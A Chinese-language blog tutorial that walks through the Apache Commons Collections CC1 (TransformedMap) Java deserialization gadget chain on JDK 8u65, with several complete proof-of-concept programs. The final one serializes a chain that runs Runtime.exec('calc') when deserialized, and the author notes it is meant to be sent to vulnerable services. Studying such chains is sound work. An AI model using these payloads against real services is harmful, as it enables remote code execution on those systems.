CC1总共有两种玩法TransformedMap版和lazyMap版,本文先解读第一种TransformedMap版的CC1。

简单介绍

Commons Collections

Commons Collections 是 Apache 提供的 Java 类库,扩展和增强了 Java 集合框架,提供了功能强大、灵活高效的数据结构和工具类,简化集合操作,简化开发者对数据的处理过程。

例如:

  • Bag 统计元素出现次数,避免手动计数。
  • MultiValuedMap 支持一键多值映射,简化多对多关系处理。
  • BidiMap 实现键值双向查询,避免重复查找。
  • LRUMap 内建缓存淘汰机制,无需自写逻辑。
  • CollectionUtils 快速实现集合交集、差集、并集操作。

CC链

CC1就是利用Commons Collections构造出来的其中一条反序列化利用链;同样还有其他的CC 链,CC 1-6-3-2-4-5-7-11和CommonsBeanUtils链。

环境搭建

JDK安装

CC1链在JDK_8u71修复了,因此我们下载jdk8u65版本,可以把安装包放在虚拟机安装,然后把安装的目录复制一下就能用。

新建Java项目,JKD选择时点从磁盘加载JDK,然后选安装的目录即可

commons-collections选择3.2.1.版本

pom.xml导入依赖包

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

随便导入个包,看看依赖是否引入成功

反编译问题

如果在调试时发现源码是.class编译后的文件,可以下载openJDK,解压后
把/src/share/classes的sun文件放到jdk8u65的src目录。

然后在源路径导入即可

前置基础

我这里提前基础知识写一下,阅读时可以先跳过前置基础部分,等下面用到了这些时再折返回来看。

反射

反射允许 Java 程序在运行时动态获取类信息、创建对象、调用方法和访问私有成员。我们可以利用Java的反射机制动态调用方法,private的方法也可以调用。

获取类对象

  • forName() 根据指定的类的全限定名,在运行时查找并加载类
  • getClass()
  • .class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class ReflectionRuntimeDemo {
public static void main(String[] args) {

// 1️.运行时获取Runtime类
Runtime runtimeInstance = Runtime.getRuntime();
Class<?> cls1 = runtimeInstance.getClass();
System.out.println("运行时 `getClass()`: " + cls1.getName());

// 2️. 编译时获取Runtime类
Class<?> cls2 = Runtime.class;
System.out.println("编译时 `.class` 获取: " + cls2.getName());

// 3️. 运行时通过字符串动态加载Runtime类
Class<?> cls3 = Class.forName("java.lang.Runtime");
System.out.println("运行时 `Class.forName()` 获取: " + cls3.getName());

}
}

获取类方法

通过指定类对象,再利用下面的方法查看类中有哪些方法

  • getDeclaredMethods()
    回类或接口声明的所有方法,包括 public、private 以及默认方法,但不包括继承的方法
  • getMethods()
    返回某个类的所有 public 方法,包括其继承类的 public 方法
  • getMethod()
    只能返回一个特定的方法,例如返回 Runtime 类中的 exec() 方法,该方法的第一个参数为方法名称,后面的参数为方法的参数对应 Class 的对象
  • getDeclaredMethod()
    getDeclaredFields 方法能够获得类的成员变量数组包括 public、private 和 protected,但是不包括父类的声明字段

获取类成员变量

与上面同理,获得特定的类成员变量

  • getFields()
    能够获取某个类的所有 public 字段,包括父类中的字段。
  • getDeclaredFields()
    能够获得类的成员变量数组包括 public、private 和 protected,不包括父类的声明字段
  • getDeclaredField()
    获得类的单个成员变量

注:反射在硕森星火学的

反射例子

利用反射执行Runtime.getRuntime().exec("calc");,弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod =runtimeClass.getMethod("getRuntime");
Object getRuntimeinstance=getRuntimeMethod.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(getRuntimeinstance,"calc");

或者

Runtime runtime = Runtime.getRuntime();
Class c=Runtime.class;
Method m= c.getMethod("exec",String.class);
m.invoke(runtime,"calc");


TransformedMap介绍

TransformedMap 是工具包提供的装饰器(Decorator),用于自动转换 Map 中的键和值
它在转换新元素时,就会调用Transformer中的transform方法。

1
2
3
4
5
6
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

三个参数,参数map,代表键值对的集合;keyTransformer和valueTransformer通俗理解就是通过调用方法来对key和value进行加强或者修饰。

Transformer介绍

Transformer 是一个接口,它的作用是对输入数据进行转换,返回一个新的数据;并提供了一个待实现的transform()方法,用来定义具体的转换逻辑。

下方就是Transformer的具体实现类,并且每个实现类都有一个transform()方法:

InvokerTransformer

InvokerTransformer的构造函数接收三个参数 方法名、参数类型、参数值;而它的transform方法会接收一个类名来作为构造方法参数methodName的类。

例如methodName=getRuntime,input=Runtime,会变成Runtime.getRuntime()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}


public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}...

ChainedTransformer

ChainedTransformer构造方法接收一个数组并把它保存在iTransformers中;transform()方法会把数组进行遍历,把上一个遍历的结果当作下一次遍历时的参数。

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {  
super();
iTransformers = transformers;
}


public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

ConstantTransformer

构造方法把接收的参数赋给iConstant,并在调用transform时,不管传入的是什么都会返回iConstant的值

1
2
3
4
5
6
7
8
9
public ConstantTransformer(Object constantToReturn) {  
super();
iConstant = constantToReturn;
}


public Object transform(Object input) {
return iConstant;
}

TransformedMap版CC1反序列化链分析

我在URLDNS链中就已经提到过,反序列化链的本质就是要找重写了readObject()方法并且可序列化的入口点,也就是链子的头部;还有可以执行命令的危险方法(不同类的同名函数反射和动态加载字节码) 作为尾部;最后用不同类的同名函数将头部和尾部串联起来。

寻找链的顺序就是先找尾部,然后往前找readobject头部。现在从尾部进行解读

可执行命令的尾部InvokerTransformer类

尾部就是transformer接口的实现方法InvokerTransformer的方法

我们进入transformer接口查看它的实现类

进入InvokerTransformer,该方法我已在前置基础已经讲过,它可以接收方法名和类名,我们可以传入Runtime类 getRuntime方法 就可以执行命令。

反射实现命令执行

接下来写一个用InvokerTransformer执行命令的poc,同时InvokerTransformer是public不需要反射就可以调用

1
2
3
Runtime runtime = Runtime.getRuntime();  
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);

执行成功就说明我们这个尾部可以使用,接下来就该继续往上找不同类的相同方法名,也就是看谁还调用了transform()方法。

TransformedMap类

光标放到transform上crtl+alt+shift+f7查看谁调用了transform()

发现TransformedMap下的checkSetValue()方法调用了transform()

右键跳转到源查看

发现checkSetvalue是一个保护方法(只能被同一个类或者子类调用),同时返回了一个valueTransformer.transform()

右键查找用法或者在该类搜索一下valueTransformer,看看谁使用了valueTransformer

发现TransformedMap的构造方法提到了它

这样的话我们可以给构造方法的Transformer valueTransformer的参数传入InvokerTransformer,然后去主动调用checksetvalue()方法,这样我们就把这两个类串连起来了。

1
2
3
4
5
流程
TransformedMap.decorate(hashmap,null,InvokerTransformer)
通过调用checkSetvalue
valueTransformer.transform()->InvokerTransformer.transform()
进而执行命令

但是我们需要注意,TransformedMap的方法是protected,不能直接实例化,我们需要继续找。

这里还是在TransformedMap类找到了一个静态方法,该静态类为public,并且return了一个实例化的TransformMap构造方法,这正是我们需要的。

我们把这两个类串联起来写一个POC,看看命令能不能执行成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package CC1demo;  
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import static java.lang.Class.forName;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> TestHashmap = new HashMap<>();
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateTestHashmap, runtime );
}
}

POC解读

第一部分

1
2
Runtime runtime = Runtime.getRuntime();  
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

还是利用InvokerTransformer执行Runtime.getRuntime().exec("calc"),也就是最后的命令执行部分

第二部分

1
2
HashMap<Object, Object> TestHashmap = new HashMap<>(); 
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);

创建了一个map,并作为decorate的第一个参数传入,第三个参数invokerTransformer作为valuetransformer传入,便于后续的调用valuetransformer.transform()->invokerTransformer.transform()

第三部分

1
2
3
4
Class<TransformedMap> transformedMapClass = TransformedMap.class;  
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateTestHashmap, runtime );

由于TransformerdMap里的方法checkSetValue()是protected的,不能直接调用,因此使用反射调用该方法;getDeclaredMethod在前置基础的反射已经说明过,可以获取protected的方法,setAccessible(true)使其可以访问以便于调用它;

checkSetValueMethod.invoke(decorateTestHashmap, runtime ); 该部分是让获得的方法checkSetValue方法在decorateTestHashmap上调用(等价于在TransformedMap上调用checkSetValue方法;这里需要注意checkSetValue是我们主动调用的),同时把runtime作为参数传入checkSetValue方法中,runtime最终会作为transform()的参数。

运行命令成功执行,说明串起来的链子没问题。

部分流程图

先给这两个类画一个流程图,方便理解,后续继续补充

中间转换过程

这样我们后小段链子就构造好了,继续往前找,前文中我们的Poc中的checkSetValue是我们写入主动调用的,因此就需要往前找到一个可以调用checkSetValue方法的类。

AbstractInputCheckedMapDecorator类

右键查找用法

跳转到源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {  

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

发现AbstractInputCheckedMapDecorator类下的静态方法MapEntry中的setValue()调用了checkSetValue()

找setValue()触发条件

接下来我们就需要找到怎么才会主动触发setValue(),进而触发checkSetValue()方法,这样就可以继续完善POC,来测试这个类和之前的两个类能不能串起来。

同时发现AbstractInputCheckedMapDecorator类transformerdMap类的父类;

鼠标悬停时,发现AbstractInputCheckedMapDecorator类重写了setValue()方法,它的父类是AbstractMapEntryDecorator类

transformerdMap类是儿子
AbstractInputCheckedMapDecorator类是爸爸
AbstractMapEntryDecorator类是爷爷

跟进AbstractMapEntryDecorator类

getKey和getValue是返回键值的,setValue是把参数接收的值赋给value,通俗来说就是修改value值。

setValue()介绍

setValue() 可以调用的情况

  1. 必须通过 map.entrySet() 获取 Entry 对象(本质是获得map的所有键值对的,entry代表一对键值对)
  2. 不能直接在 Map 上调用 setValue(),因为 Map 本身没有 setValue() 方法

Map.Entry是 Map中的键值对对象,只有当 entry 通过 entrySet() 获取时,setValue() 才能被调用

正确调用 setValue() 的方式

1
2
3
4
5
6
7
8
9
10
11
Map<String, String> map = new HashMap<>();
map.put("jjxxx", "value1");

// 通过 entrySet() 获取 Entry
for (Map.Entry<String, String> entry : map.entrySet()) {
// 这里可以调用 setValue()
entry.setValue("newValue");
}

System.out.println(map.get("jjxxx"));

因此我们知道当遍历map时,就可以主动调用SetValue;完善POC的思路就是新建一个map,传入键值对,让tranformedMap修饰它,然后遍历tranformedMap,调用Setvalue

我这里先把poc写出来,详细问题后面介绍

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package CC1demo;  

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;



public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> TestHashmap = new HashMap<>();
TestHashmap.put("key1", "value1" );
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
for (Map.Entry<Object, Object> entry : decorateTestHashmap.entrySet()) {
entry.setValue(runtime);
}
}
}

此次POC把反射调用的CheckSetvalue()删除,增加了遍历TransformedMap.decorate装饰的decorateTestHashmap并主动调用SetValue(),从而调用了CheckSetValue()方法。

命令成功执行说明我们成功把这三个类串了起来,也证明了新加的这个类是可以用的。

parent和value参数问题

这里分析一下POC为什么能执行成功和其中的一些执行细节。

再贴一次源码,方便介绍

源码中value=parent.checkSetValue(value),涉及了两个参数parent和value

关于parent

因为MapEntry的构造方法中接受的是AbstractInputCheckedMapDecorator类型的parent,TransformedMap是它的子类,因此传进入的parent参数可以是TransformedMap的。

具体parent.checkSetValue(value)是怎么转换成TransformedMap.checkSetValue(value)的可以调试一下查看是什么情况。

可以看到我们遍历decorateTestHashmap时,parent的值就会变为TransformedMap

关于该值是怎么传进去的,具体的逻辑流程shelter中已经很详细介绍了。

总结一下流程如下:

遍历decorateTestHashmap(我POC中命名的参数)前,由于TransformedMap没有entrySet(),会找它的父类AbstractInputCheckedMapDecoratorentrySet(),它会调用静态构造器实例化EntrySet类,其中传入的parent参数就是TransformedMap;准备遍历时会把TransformedMap传入EntrySetIterator类中;遍历时会new一个AbstractInputCheckedMapDecorator,同时会把EntrySetlterator类中的parent当作参数传入。

关于value

value参数其实是不可控的,后面会具体介绍不可控的详情和解决办法。

部分流程图

继续完善流程图

头部AnnotationInvocationHandler类

从上文我们知道,setValue可以在遍历map时调用,我们上方的poc是主动调用的setValue,因此我们的下一步就是找到一个能够调用setValue的类。

还是老样子右键查看用法,找符合条件的类
发现AnnotationInvocationHandler类readobject()方法调用了setValue()方法,这个类可以说是一举两得,找到setValue()的同时还把readobject()入口点找到了;也符合可序列化和重写readobject方法。

查看方法,发现for循环接收一个memberValues,最终变为memberValue.setValue,翻翻这个参数从哪里来;同时我们看到了要调用setValue方法,需要绕过两个if条件,并且setvalue里面的参数也是不可控的,我们最后需要绕过这些。

在该类的构造方法中看到接收的参数,注解类型的type和Map类型的memberValues;同时它的作用域为Defalult,那么调用时就需要反射调用了。

接下来写POC的思路就是用反射调用该类的的构造方法,让它触发setvalue方法,这里的话先写一个poc的草稿,后续遇到问题会继续修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static java.lang.Class.forName;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> TestHashmap = new HashMap<>();
TestHashmap.put("key1", "value1" );
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result1 = constructor.newInstance(Override.class, decorateTestHashmap);
ser(result1);
unser("ser.bin");

//新增序列化和反序列化
}

public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unser(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

这就是我们写好的POC草稿,它现在运行肯定是没办法成功执行命令的。

三个问题的解决方法

因为我们还有三个问题没有解决:
第一,Runtime类是没法序列化的
第二,两个if条件还没有绕过,否则无法调用setValue
第三,setValue内的值不可控

Runtime序列化问题

Runtime 没有实现 Serializable,因此不能直接被序列化Runtime.class 本质上是 Class 类的一个实例,它可以序列化,我们可以通过反射调用Runtime.class

先用普通反射写一下

1
2
3
4
5
Class<Runtime> runtimeClass = Runtime.class;  
Method getruntime = runtimeClass.getMethod("getRuntime");
Runtime runtime = (Runtime) getruntime.invoke(null,null);
Method execmethod =runtimeClass.getMethod("exec",String.class);
execmethod.invoke(runtime,"calc");

然后再用InvokerTransformer的方式把它写出来

1
2
3
4
5
6
7
8
9
10
11
Method getruntime=(Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); 
//先获取getMethod方法,getMethod接收参数的类型为String.class和Class[].class,如果不知道类型可以ctrl+左键跳转到实现getMethod的构造方法查看,然后就是getMethod接受的参数值为getRuntime
//后两条一样,就解读了。

Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);



new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);


写出来之后 ,我们发现其实第一个InvokerTransformer得到的结果就是下一个InvokerTransformer.transform接收的参数。

ChainedTransformer辅助类

这时候就可以利用我们前置知识提到的ChainedTransformer类,详情前置知识已经讲了,直接利用它修改一下上方代码

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{  
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

再把它前面的poc草稿结合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static java.lang.Class.forName;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> TestHashmap = new HashMap<>();
TestHashmap.put("key1", "value1" );
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,chainedTransformer);
final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result1 = constructor.newInstance(Override.class, decorateTestHashmap);
ser(result1);
unser("ser.bin");

//新增序列化和反序列化
}

public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unser(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

这样就把序列化的问题解决了。

绕过两个if问题

需要绕过这两个条件

第一个if

1
2
3
4
String name = memberValue.getKey();//获得我们put进去的key的名称也就是key1
Class<?> memberType = memberTypes.get(name);
// memberTypes是
//第二行是从注解名称Override中查找名称为key1的成员

因为Override注解中没有key1所以就跳出了if判断,因此我们找其他注解

进入@Target注解,看到该注解中有一个名称为value的成员

我们修改一下POC,修改部分如下:

在调试中可以看到已经绕过了第一个if

第二个if

memberType.isInstance(value)是判断value的类型(String)和注解memberType的类型(Class)能不能强转,很显然是不可以强转的,直接绕过了这个if

Value值不可控问题

接着往下调试,到最后还是执行不了命令的,因为setValue里面的值是下方这个,控制不了参数,需要找解决办法。

ConstantTransformer辅助类

前置基础提到过有一个ConstantTransformer,构造方法把接收的参数赋给iConstant,并在调用transform时,不管传入的是什么都会返回iConstant的值。

利用这一点修改POC,只需要在chainedTransformer数组中new ConstantTransformer(Runtime.class)。这样就完成了我们最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

import static java.lang.Class.forName;

public class test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> TestHashmap = new HashMap<>();
TestHashmap.put("value", "jjxxx" );
Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,chainedTransformer);
final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object result1 = constructor.newInstance(Target.class, decorateTestHashmap);
ser(result1);
unser("ser.bin");

//序列化和反序列化
}



public static void ser(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unser(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

可以看到在经过这个ConstantTransformer时就返回了Runtime.class,把之前的值绕过,成功传入了chainedTransformer的第一个参数`

关于ConstantTransformer的利用详情
setValue默认的值为下方的AnnotationTypeMismatchExceptionProxy

1
2
3
4
memberValue.setValue(  
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

这个参数在走到我们构造的ChainedTransformer中的第一条时会变成
new ConstantTransformer(Runtime.class).transform(AnnotationTypeMi..上面的一大串)
,因为传入的是Runtime.class,因此不管transform不管传入的什么参数,都会返回Runtime.class,这样参数不可控就成功解决了。

最终弹出计算器

最终流程图

感觉有些不妥,又修改了一下

总结

我们把构造好的这条链子序列化之后,在有反序列化漏洞的服务传入,它会把我们构造好的链子反序列化,从而触发readobject()方法,由于我们在AnnotationInvocationHandler入口类的构造方法传入了用TransformedMap修饰过的map,在对map进行遍历的时候就会调用AbstractInputCheckedMapDecorator类的setValue(不可控参数)方法,它的方法内又会调用parent.checkSetValue(不可控参数)方法,parent.checkSetValue()由于遍历转换成了调用TransformedMap.checkSetValue(不可控参数),checkSetValue()会调用chainsedTransmer.transform(不可控参数),接着就是chainsedTransmer数组内的调用,
首先是ConstantTransformer.transform()->返回Runtime.class;等数组循环完就会成功执行命令Runtime.getRuntime().exec("calc");

到此TransformedMap版的CC1链就分析完了,后续会再写一篇分析LazyMap版的CC1链。

本文章测试时用到的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import static java.lang.Class.forName;
import static jdk.internal.org.objectweb.asm.commons.Method.getMethod;

public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {


// 1.直接调用Runtime
// Runtime.getRuntime().exec("calc");

// 2.利用反射调用
// Class<?> runtimeClass = Class.forName("java.lang.Runtime");
// Method getRuntimeMethod =runtimeClass.getMethod("getRuntime");
// Object getRuntimeinstance=getRuntimeMethod.invoke(null);
// Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(getRuntimeinstance,"calc");
// 或者
// Runtime runtime = Runtime.getRuntime();
// Class c=Runtime.class;
// Method m= c.getMethod("exec",String.class);
// m.invoke(runtime,"calc");

// 3.InvokerTransformer执行命令
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(runtime);

// 4.加上transformedMap执行命令
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// 下面为新增
// HashMap<Object, Object> TestHashmap = new HashMap<>();
// Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
// Class<TransformedMap> transformedMapClass = TransformedMap.class;
// Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
// checkSetValueMethod.setAccessible(true);
// checkSetValueMethod.invoke(decorateTestHashmap, runtime );
// 5.遍历map
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// HashMap<Object, Object> TestHashmap = new HashMap<>();
// TestHashmap.put("key1", "value1" );
// Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
// for (Map.Entry<Object, Object> entry : decorateTestHashmap.entrySet()) {
// entry.setValue(runtime);
// }

// 6.新增Annotation..Handler
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// HashMap<Object, Object> TestHashmap = new HashMap<>();
// TestHashmap.put("key1", "value1" );
// Map<Object, Object> decorateTestHashmap = TransformedMap.decorate(TestHashmap,null,invokerTransformer);
// final Class<?> aClass = forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// constructor.setAccessible(true);
// Object result1 = constructor.newInstance(Override.class, TestHashmap);


// 7.Runtime序列化问题
// 普通反射
// Class<Runtime> runtimeClass = Runtime.class;
// Method getruntime = runtimeClass.getMethod("getRuntime");
// Runtime runtime = (Runtime) getruntime.invoke(null,null);
// Method execmethod =runtimeClass.getMethod("exec",String.class);
// execmethod.invoke(runtime,"calc");


// 用InvokerTransformer写上面的反射
// Class c = Runtime.class;
// Method getruntime=(Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
//

// 新增chainedTransformer
// Transformer[] transformers = new Transformer[]{
// new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

...
...
...


// ser(result1);
// unser("ser.bin");

}

// public static void ser(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// }
// public static Object unser(String Filename) throws IOException, ClassNotFoundException{
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// Object obj = ois.readObject();
// return obj;
// }

}


参考链接

https://www.freebuf.com/articles/web/383152.html
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#0x05-TransformMap%E7%89%88CC1%E6%89%8B%E5%86%99-EXP